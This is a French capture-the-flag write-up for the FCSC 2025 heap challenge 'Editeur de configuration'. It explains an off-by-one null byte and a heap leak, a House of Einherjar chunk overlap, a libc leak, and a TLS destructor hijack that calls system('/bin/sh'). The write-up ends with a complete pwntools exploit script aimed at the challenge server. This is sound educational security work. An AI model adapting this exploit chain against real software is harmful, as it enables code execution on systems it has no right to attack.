Contents

[FCSC 2025] - Editeur de configuration

Description

“Ce logiciel d’Ă©dition de configuration a quelques soucis… Saurez-vous en faire bon usage ?”

CatĂ©gorie : Pwn 💣

Difficulté : ⭐⭐⭐

Protections : Full RelRO, NX, Canary, PIE, Stripped

TL;DR

  • Exploitation d’un off-by-one null byte dans le tas (Heap) via un appel Ă  realloc() mal sĂ©curisĂ© dans la fonction de modification d’une entrĂ©e
  • Leak d’une adresse de la heap en raison de l’absence de l’ajout d’un null byte Ă  la fin d’une chaine de caractĂšre
  • Heap Feng Shui suivi de l’utilisation de la technique House of Einherjar pour obtenir une primitive de chevauchement de chunks, permettant une primitive lecture/Ă©criture arbitraire
  • Leak de la libc en rĂ©cupĂ©rant un pointeur vers main_arena via un chunk dans l'unsorted Bin
  • ExĂ©cution d’un shell en injectant une fausse dtor_list dans la TLS et terminaison propre du programme, appelant __call_tls_dtors.

Analyse du binaire

Ce binaire est un Ă©diteur de configuration avec un menu assez classique. En effet, il nous demande d’importer une configuration, avec un header valide :

/posts/fcsc-2025/images/Pasted%20image%2020250503173421.png

AprĂšs avoir importĂ© la configuration initiale, il est possible de rĂ©aliser diffĂ©rentes actions tel que l’ajout d’une entrĂ©e , la suppression d’une entrĂ©e ou la modification d’une entrĂ©e dĂ©ja prĂ©sente.

/posts/fcsc-2025/images/Pasted%20image%2020250503173616.png

Le binaire étant strippé, nous allons devoir utiliser IDA pour retrouver les structures originales et analyser le code.

Structures et fonctionnement

On remarque dans un premier temps que les données utilisateurs sont lues grùce à la fonction getline(), cela aura son importance pour la suite, car cette fonction alloue un buffer dans la heap.

Pour ajouter la toute premiÚre entrée, il faut préciser un header valide qui représentera le nom de la configuration :

int __fastcall config_check_header(struct config_t *pconfig)
{
	__ssize_t sz; // [rsp+10h] [rbp-10h]
	char *line; // [rsp+18h] [rbp-8h]

	sz = getline(&g_line, &g_line_size, stdin);
	if ( sz == -1 )
		return -1;
	line = g_line;
	if ( *g_line == '[' )
	{
		if ( g_line[sz - 2] == ']' )
		{
			g_line[sz - 2] = 0;
		    strncpy(&pconfig->username, line + 1, 16uLL);
		    return strcmp(&pconfig->username, "PLAYER"); // <---- Valid header
	    }
	    else
	    {
		    puts("bad format header");
		    return -1;
		}
	}
  else
	{
	    puts("header not found");
	    return -1;
	}
}

La toute premiĂšre structure créée lors de l’importation est config_t qui reprĂ©sente la configuration. Elle garde en mĂ©moire le header de la configuration et le pointeur sur la derniĂšre entrĂ©e ajoutĂ©e. Cette structure est allouĂ©e en stack une seul fois.

struct config_t
{
	char username[16];
	__int64 unk;
	struct entry_t *last_pentry;
};

Ensuite, le programme parse ligne par ligne les donnĂ©es rĂ©cupĂ©rĂ©es dans l’entrĂ©e standard pour y ajouter des champs de la forme KEY=VALUE. Ainsi, cette fonction alloue dynamiquement la mĂ©moire pour crĂ©er la structure reprĂ©sentant une entrĂ©e de la configuration, pour chaque lignes.


struct entry_t *__fastcall config_entry_alloc(__int64 token_size, __int64 value_size)
{
	struct entry_t *config; // [rsp+18h] [rbp-8h]

	config = (struct entry_t *)malloc(40uLL);
	if ( !config )
	    return 0LL;
	config->value = 0LL;
	config->key = 0LL;
	config->size = 0LL;
	config->pPrev = 0LL;
	config->pNext = 0LL;
	config->key = (char *)malloc(token_size + 1);
	if ( !config->key )
		return 0LL;
	config->value = (char *)malloc(value_size + 1);
	if ( !config->value )
		return 0LL;
	config->key[token_size] = 0;
	config->value[value_size] = 0;
	config->size = value_size;
	return config;
}

La structure qui nous intĂ©resse le plus est entry_t. Cette structure est allouĂ©e dans la heap, et c’est une liste doublement chainĂ©e. Chaque entry_t contient un pointeur vers une clĂ©, parmis les noms suivant : name, level, team, elo, token, un pointeur vers la valeur, ainsi que le maillon suivant et prĂ©cĂ©dent de la liste doublement chainĂ©e. Comme vu prĂ©cĂ©demment, key et value sont allouĂ©s dans la heap.

struct entry_t
{
	char *value;
	char *key;
	__int64 size;
	struct entry_t *pPrev;
	struct entry_t *pNext;
};

Chaque entrĂ©es est donc ajoutĂ© Ă  la suite, avec les pointeurs pPrev et pNext ajustĂ©. La liste Ă©tant parcourue Ă  partir de la fin, il est possible d’ajouter plusieurs entrĂ©es avec le mĂȘme nom de clĂ©. Ainsi la derniĂšre entrĂ©e ajoutĂ©e, sera la premiĂšre retournĂ©e lors du parcours de la chaine.

Recherche de vulnérabilités

Off-By-One null byte

Dans la fonction d’Ă©dition d’une entrĂ©e, il est possible de provoquer un dĂ©bordement de 1 octet nul.

__int64 __fastcall config_edit_entry(struct config_t *pconfig)
{
  unsigned int v2; // [rsp+14h] [rbp-1Ch]
  struct entry_t *new_config; // [rsp+18h] [rbp-18h]
  struct entry_t *current; // [rsp+20h] [rbp-10h]
  size_t new_size; // [rsp+28h] [rbp-8h]

  v2 = 1;
  new_config = 0LL;
  new_size = getline(&g_line, &g_line_size, stdin);
  if ( new_size != -1LL )
  {
    new_config = config_parse(g_line, new_size);
    if ( new_config )
    {
      for ( current = pconfig->last_pentry; current && strcmp(current->key, new_config->key); current = current->pPrev )
        ;
      if ( current )
      {
        if ( new_config->size > (unsigned __int64)current->size )
        {
          current->value = (char *)realloc(current->value, new_config->size);// VULNERABILITY : realloc() size is too small !
          current->size = new_config->size + 1;
        }
        memset(current->value, 0, new_config->size + 1);// Null Off-by-one
        memcpy(current->value, new_config->value, new_config->size);
        v2 = 0;
      }
      else
      {
        puts("key not found");
      }
    }
  }
  if ( new_config )
  {
    free(new_config->value);
    new_config->value = 0LL;
    free(new_config->key);
    new_config->key = 0LL;
    free(new_config);
  }
  return v2;
}

Le fonctionnement de la fonction realloc() est le suivant :

  • Lorsque la taille demandĂ©e est infĂ©rieure ou Ă©gale Ă  la taille du chunk courant, on retourne le pointeur
  • Si la taille demandĂ©e est strictement supĂ©rieure, alors on libĂšre la mĂ©moire et on alloue un chunk plus grand, puis on copie les donnĂ©es

Lors de l’ajout d’une entrĂ©e, le champs size reprĂ©sente la taille de value. Si on alloue une chaine de caractĂšre de taille, disons 0x37, l’appel Ă  malloc(value_size + 1) retournera un chunk capable de contenir au plus 0x38 bytes, ce qui est suffisant pour contenir la chaine ainsi que l’octet nulle.

Cependant, dans la fonction de modification, si on ajoute une chaine de caractĂšre de 0x38, realloc va retourner le mĂȘme chunk car la taille est suffisante pour stocker la chaine. Le dĂ©veloppeur n’a pas pris en compte l’octet nul dans la taille Ă  passer Ă  realloc. L’appel Ă  memset, quand Ă  lui, se fait sur size + 1, entrainant un dĂ©bordement de un octet nul sur le chunk suivant dans la heap.

Leak d’une adresse de heap

Une autre vulnĂ©rabilitĂ© est prĂ©sente dans la fonction de parsing de l’entrĂ©e utilisateur.


struct entry_t* __fastcall config_parse(const char* line_ptr, size_t line_sze){

sep = strchr(line_ptr, '=');
  if ( sep )
  {
    key_size = sep - line_ptr;
    value_ptr = sep + 1;
    value_size = line_size - (sep - line_ptr) - 2;
    if ( (unsigned int)config_check_key(line_ptr, sep - line_ptr) )
    {
      pentry = config_entry_alloc(key_size, value_size);
      if ( pentry )
      {
        idx = strcspn(line_ptr, " ");
        if ( idx >= key_size )                  // not taken if idx < key_size
          memcpy(pentry->key, line_ptr, key_size);
        else
          memcpy(pentry->key, line_ptr, idx);
        na = strcspn(value_ptr, " ");
        if ( na >= value_size )                 // not taken if idx < value_size
        {
          memcpy(pentry->value, value_ptr, value_size);
        }
        else
        {
          pentry->size = na;
          memcpy(pentry->value, value_ptr, na); // No null byte added at the end
        }
        return pentry;
      }
      else
      {
        return 0LL;
      }
    }
    else
    {
      return 0LL;
    }
  }
  else
  {
	puts("incorrect line format");
	return 0LL;
  }
}

Lors de l’appel Ă  config_entry_alloc, un octet nul est ajoutĂ© par defaut Ă  la fin du bloc, avant la copie en mĂ©moire de la chaine. Par ailleurs, le bloc n’est pas remis Ă  zero lors de l’allocation. Il est alors possible de rĂ©cupĂ©rer une adresse de la heap lors de l’affichage des entry_t du menu.

// ...
  config->value = (char *)malloc(value_size + 1);
  if ( !config->value )
    return 0LL;
  config->key[token_size] = 0;
// ...

On observe l’utilisation de la fonction strcspn, qui retourne l’index du premier caractĂšre de la chaĂźne source appartenant Ă  un ensemble donnĂ©, ici, le caractĂšre espace ' '. Cela permet d’isoler la premiĂšre partie de la chaĂźne, pour ne copier que la partie aprĂšs l’espace. Si cette sous chaĂźne est plus courte que prĂ©vu, elle est copiĂ©e sans ajout d’octet nul. Il faut donc s’arranger pour que le nombre de caractĂšres copiĂ©s tombe juste avant une adresse Ă  rĂ©cupĂ©rer et le tour est jouĂ© !

Nous allons exploiter le fait qu’un chunk de type entry_t, une fois libĂ©rĂ©, conserve un pointeur vers un emplacement dans la heap. L’objectif est donc de rĂ©allouer Ă  cet emplacement un chunk de type value, de maniĂšre Ă  rĂ©cupĂ©rer ce pointeur. Nous appellerons E, un chunk contenant une structure entry_t, V un chunk, value et K, un chunk key.

/posts/fcsc-2025/images/Pasted%20image%2020250504163839.png

Comme le montre ce schĂ©ma, nous allons orchestrer les allocations de maniĂšre Ă  ce qu’un chunk value de taille 0x40 soit placĂ© Ă  l’emplacement d’une structure entry_t prĂ©cĂ©demment libĂ©rĂ©e. À chaque ajout dans la configuration, trois allocations sont effectuĂ©es, ce qui permet de contrĂŽler l’ordre d’allocation dans la heap. L’adresse ainsi rĂ©cupĂ©rĂ©e correspond au champ entry_t->pPrev. Il est important de noter que la protection Safe Linking est activĂ©e pour les tcache, ce qui complique l’obtention d’un pointeur de heap valide, car les pointeurs dans les listes sont masquĂ©s par un XOR avec une valeur dĂ©rivĂ©e de l’adresse du chunk courant.

Exploitation

House of Einherjar

Dans un premier temps, on remarque que la version de la libc fournie est la 2.35.
En consultant les diffĂ©rentes techniques d’exploitation rĂ©fĂ©rencĂ©es sur How2Heap, on identifie une mĂ©thode particuliĂšrement adaptĂ©e Ă  notre cas : la House of Einherjar.

Cette technique tire parti d’un dĂ©bordement d’un octet nul pour effacer le flag PREV_INUSE du chunk suivant, amenant l’allocateur Ă  considĂ©rer Ă  tort que le chunk prĂ©cĂ©dent est libre. Lors d’un appel Ă  free, si le chunk libĂ©rĂ© ne rentre ni dans les tcache ni dans les fastbins, la libc tente de le consolider avec son chunk prĂ©cĂ©dent, ouvrant la voie un chevauchement de chunks.

Pour mettre en Ɠuvre cette technique, plusieurs conditions doivent ĂȘtre rĂ©unies :

  • Le contrĂŽle du champ prev_size du chunk cible qui doit ĂȘtre Ă©gale Ă  la distance entre le fake chunk et le chunk victime
  • Un leak d’adresse dans la heap
  • La crĂ©ation d’un faux chunk satisfaisant les vĂ©rifications tel que Unsafe Unlink lorsque le chunk sera retirĂ© de l'unsorted Bin, s’assurant que la liste doublement chainĂ©e n’est pas corrompue.

/posts/fcsc-2025/images/Pasted%20image%2020250504163904.png

L’objectif est donc d’obtenir un chevauchement de chunk dans une zone contrĂŽlĂ© par l’utilisateur pour pouvoir altĂ©rer son contenu. Il va donc falloir jouer avec les allocations pour obtenir une configuration avantageuse pour rĂ©aliser cette attaque.

Heap Feng Shui

Avant de lancer l’attaque, il est nĂ©cessaire de mettre la heap dans un Ă©tat bien prĂ©cis, en respectant plusieurs contraintes que nous impose le challenge :

  • Le chunk victime doit avoir une taille d’au moins 0x100. En effet, le champ mchunk_size d’un chunk malloc encode Ă  la fois la taille du chunk et le flag PREV_INUSE. Ainsi, si l’on Ă©crase le LSB avec un octet nul, cela ne doit pas affecter la taille effective du chunk.
  • Ce chunk ne doit pas appartenir aux fastbins, car ceux-ci ne sont pas consolidĂ©s lors des appels Ă  free.
  • Le tcache[0x100] doit ĂȘtre saturĂ© avant de libĂ©rer le chunk victime, afin que celui-ci soit placĂ© dans l'unsorted bin.
  • Il faut parvenir Ă  placer deux chunks value consĂ©cutifs en mĂ©moire, ce qui est crucial pour manipuler les mĂ©tadonnĂ©es du chunk suivant.
  • Le buffer allouĂ© par getline ne doit pas excĂ©der 0x400, afin de rester dans les plages de taille gĂ©rĂ©es par les tcaches.
  • Enfin, pour Ă©crire dans le champ PREV_SIZE, on peut rĂ©utiliser plusieurs fois la fonction de modification d’une entrĂ©e — qui utilise realloc() suivi d’un memset(0) — afin d’Ă©crire des octets null (\x00) un par un pour le remettre Ă  zĂ©ro, avant d’y mettre une valeur.

Le schĂ©ma suivant montre les diffĂ©rentes Ă©tapes de l’attaque permettant d’obtenir une structure entry_t dans le buffer de getline, nous permettant d’obtenir une primitive d’Ă©criture et de lecture arbitraire.

/posts/fcsc-2025/images/Pasted%20image%2020250504190525.png

Il est nĂ©cessaire Ă  la fin de l’attaque, de vider le tcache[0x30] pour permettre Ă  malloc d’allouer un chunk Ă  partir de l'unsorted bin.

Leak d’une adresse de libc

Pour rĂ©cupĂ©rer une adresse de libc, nous pouvons utiliser notre primitive de lecture arbitraire pour aller lire le pointeur FD du chunk contenu dans l'unsorted bin. On va donc réécrire le pointeur value de la structure entry_t que nous contrĂŽlons. Une fois que le menu affichera les paires de key et value, nous pourrons rĂ©cupĂ©rer l’adresse vers main_arena, permettant de calculer la base de la libc.

/posts/fcsc-2025/images/Pasted%20image%2020250504234904.png

Exécution via __call_tls_dtors

Lors de la terminaison normale du programme, ou Ă  la suite d’un appel Ă  exit(), la fonction __call_tls_dtors est invoquĂ©e afin d’exĂ©cuter les destructeurs TLS (Thread-Local Storage). En falsifiant la structure pointĂ©e par tls_dtor_list, il est possible de dĂ©tourner ce mĂ©canisme pour exĂ©cuter un appel arbitraire lors de la fin du programme.

Nous allons donc forger une fausse structure de type struct dtor_list, puis faire en sorte que le pointeur global tls_dtor_list la référence.

struct dtor_list {
	dtor_func func;              // Function pointer to call
	void* obj;                   // Argument
	struct link_map *map;        // None
	struct dtor_list *next;      // None
}

Le pointeur de fonction étant obfusqué par un PTR_MANGLE cookie présent dans la TLS, nous devons en premier lieux le récupérer avec notre primitive de lecture.

/posts/fcsc-2025/images/Pasted%20image%2020250505000200.png

Le pointeur de fonction est manglé en utilisant cette formule :

dtor_list->func = rol((system ^ PTR_MANGLE_COOKIE), 0x11, 64)

En réutilisant notre primitive, comme pour la lecture arbitraire, nous allons écrire notre fausse structure 8 octets par 8 octets en mémoire.

# Writing to tls_dtors_list
aarb_write(tls_dtors_list_addr, p64(tls_dtors_list_addr + 64), 8)
# Writing mangled system() to dtor_list->func
aarb_write(tls_dtors_list_addr + 64, p64(rol((system ^ tls_cookie), 0x11, 64)), 8)
# Writing address of /bin/sh to dtor_list->obj
aarb_write(tls_dtors_list_addr + 72, p64(binsh), 8)

Avant d’obtenir un shell, il ne reste plus qu’Ă  Ă©crire une derniĂšre fois notre structure entry_t pour mettre Ă  0 pNext et pPrev, permettant ainsi de ne pas faire crasher le programme lors de l’unlinking des maillons, et quitter le programme proprement pour exĂ©cuter notre shell !

Flag

/posts/fcsc-2025/images/Pasted%20image%2020250505001016.png

Code


#!/usr/bin/python3

from pwn import *

# https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c

exe = ELF("editeur-de-configuration")
libc = ELF("libc.so.6")
ld = ELF("ld-linux-x86-64.so.2")

context.binary = exe

gdb_script = r'''

    init-pwndbg
    dprintf malloc,"malloc(%p)\n",$rdi
    c

'''

def io():

    if args.SSH:
        s = ssh(user="",
                password="",
                host="",
                port=22
        )
        p = s.process([exe.path])
    
    elif args.REMOTE:
        p = remote("chall.fcsc.fr", 2103)

    else:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p, gdbscript=gdb_script)

    return p

def edit_add_entry(key, value):

    p.sendlineafter(b"> ", b"1")
    p.sendline(key + b"=" + value)

def edit_del_entry(key):

    p.sendlineafter(b">", b"2")
    p.sendline(key)

def edit_mod_entry(key, value):
    
    p.sendlineafter(b"> ", b"3")
    p.sendline(key + b"=" + value)

def aarb_read(where):

    if not primitives:
        return None

    payload = b"R"*0x11b
    payload += p64(0x0)
    payload += p64(0x31)
    payload += p64(where)
    payload += p64(where)
    payload += p64(0x0)
    payload += p64(0x0)

    edit_add_entry(b"team", payload)
    edit_del_entry(b"team")

    data = p.recvuntil(b">")
    p.sendline(b"\n")

    return data

def aarb_write(where, what, size):

    if not primitives:
        return None
    
    payload = b"W"*0x11b
    payload += p64(0x0)
    payload += p64(0x31)
    payload += p64(where)
    payload += p64(heap_leak + 0x370)
    payload += p64(size)
    payload += p64(0x0)
    
    edit_add_entry(b"team", payload)
    edit_del_entry(b"team")
    
    edit_mod_entry(b"token", what)

if __name__ == "__main__":

    PREV_SIZE = 0x5b0
    FAKE_OFFSET = 0x380
    LIBC_ARENA_OFFSET = 0x340

    p = io()
    primitives = False

    # Import config menu and trigger getline() big allocation to avoid realloc()
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"> ", b"[PLAYER\x00" + b"A"*0x3e8 + b"]")
    
    # Allocate the first entry_t, entry_t->key and entry_t->value    
    p.sendline(b"name=" + b"A"*0x40 + b"\n")

    # Edit config menu
    p.sendlineafter(b"> ", b"2")

    # Allocate two more chunk
    edit_add_entry(b"name", b"B"*0x40)
    edit_add_entry(b"name", b"C"*0x40)

    # Free entry_t, entry_t->key and entry_t->value 2 times
    edit_del_entry(b"name")
    edit_del_entry(b"name")

    # This will use the no null byte vuln added when adding a space in value
    # This chunk will replace the old entry_t
    edit_add_entry(b"name", b"D"*0x18 + b" " + b"D"*0x8)

    # Heap leak
    heap_leak = p.recvuntil(b"AAAA\n").partition(b"name = DDDDDDDDDDDDDDDDDDDDDDDD")[2]
    heap_leak = heap_leak.partition(b"\nname")[0]
    heap_leak = int.from_bytes(heap_leak, "little")
    
    log.info("Heap leak : " + hex(heap_leak))

    # Allocate one entry_t that we will free later for grooming
    edit_add_entry(b"elo", b"E"*0x30)
    
    # Allocate the entry_t that will off-by-one his neighbour
    edit_add_entry(b"level", b"F"* (0x38-1))

    # Make the victime chunk that will be off-by-one next to the overflowing one
    edit_del_entry(b"elo")
    edit_add_entry(b"token", b"G"*0xf0)
    
    # TRIGGER null off-by-one
    edit_mod_entry(b"level", b"H" * 0x38)

    # Clearing PREV_SIZE
    for i in range(1, 9):
        edit_mod_entry(b"level", b"H"* (0x38-i))

    # Writing PREV_SIZE
    edit_mod_entry(b"level", b"H"*0x30 + p64(PREV_SIZE).replace(b"\x00", b""))

    # Filling the tcache (0x100)
    for i in range(0, 7):
        edit_add_entry(b"elo", b"I"*0xf0)

    for i in range(0, 7):
        edit_del_entry(b"elo")

    # Prefill some fastbins for later 0x20 allocation
    for i in range(0, 7):
        edit_add_entry(b"elo", b"!"*0x8)
    
    for i in range(0, 7):
        edit_del_entry(b"elo")

    fake_chunk = p64(0x0)
    fake_chunk += p64(PREV_SIZE)
    fake_chunk += p64(heap_leak - FAKE_OFFSET)
    fake_chunk += p64(heap_leak - FAKE_OFFSET)
    fake_chunk += p64(0x0)
    fake_chunk += p64(0x0)

    # Writing fake chunk in getline() buffer
    edit_add_entry(b"team", b"J"*0x11b + fake_chunk)
    
    # TRIGGER VULN
    # Free the overflowed chunk and trigger consolidation
    edit_del_entry(b"token")
    
    # Empty the 0x20 and 0x30 tcache
    for i in range(0, 7):
        edit_add_entry(b"elo", b"K"*0xf0)

    # Alloc an entry_t (0x20) inside the getline() chunk
    edit_add_entry(b"token", b"L"*0x8)

    # Place the 0x160 chunk in tcache to permit the overflow of the chunk in getline
    edit_del_entry(b"team")

    primitives = True
    
    libc_leak = aarb_read(heap_leak - LIBC_ARENA_OFFSET)
    
    libc_leak = int.from_bytes(libc_leak.partition(b"[PLAYER]\n")[2][:6], "little")
    libc.address = libc_leak - 0x21ace0

    log.info("Libc Arena leak : " + hex(libc_leak))
    log.info("Libc base : " + hex(libc.address))

    tls_base = libc.address - 0x28c0
    tls_dtors_list_addr = tls_base - 0x58

    tls_cookie = aarb_read(tls_base + 0x30)
    tls_cookie = int.from_bytes(tls_cookie.partition(b"[PLAYER]\n")[2][:8], "little")
    
    log.info("Leaking TLS cookie : " + hex(tls_cookie))
    log.info("@tls_dtors_list : " + hex(tls_dtors_list_addr))

    system = libc.sym["system"]
    binsh = next(libc.search(b"/bin/sh\x00"))

    log.info("@system : " + hex(system))
    log.info("@/bin/sh : " + hex(binsh))
    
    # Writing to tls_dtors_list
    log.info("Writing to : " + hex(tls_dtors_list_addr))
    aarb_write(tls_dtors_list_addr, p64(tls_dtors_list_addr + 64), 8)
    
    log.info("Writing to : " + hex(tls_dtors_list_addr + 64))
    aarb_write(tls_dtors_list_addr + 64, p64(rol((system ^ tls_cookie), 0x11, 64)), 8)

    log.info("Writing to : " + hex(tls_dtors_list_addr + 72))
    aarb_write(tls_dtors_list_addr + 72, p64(binsh), 8)

    log.info("Bypass clean_proc and unlink of entry_t")

    # Nullify entry_t->pNext and entry_t->pPrev
    payload = b"W"*0x11b
    payload += p64(0x0)
    payload += p64(0x31)
    payload += p64(0x0)
    payload += p64(0x0)
    payload += p64(0x0)
    payload += p64(0x0)

    edit_add_entry(b"team", payload)
    edit_del_entry(b"team")
    
    p.sendlineafter(b"> ", b"4")
    p.sendlineafter(b"> ", b"3")

    log.info("Profit :)")

    p.interactive()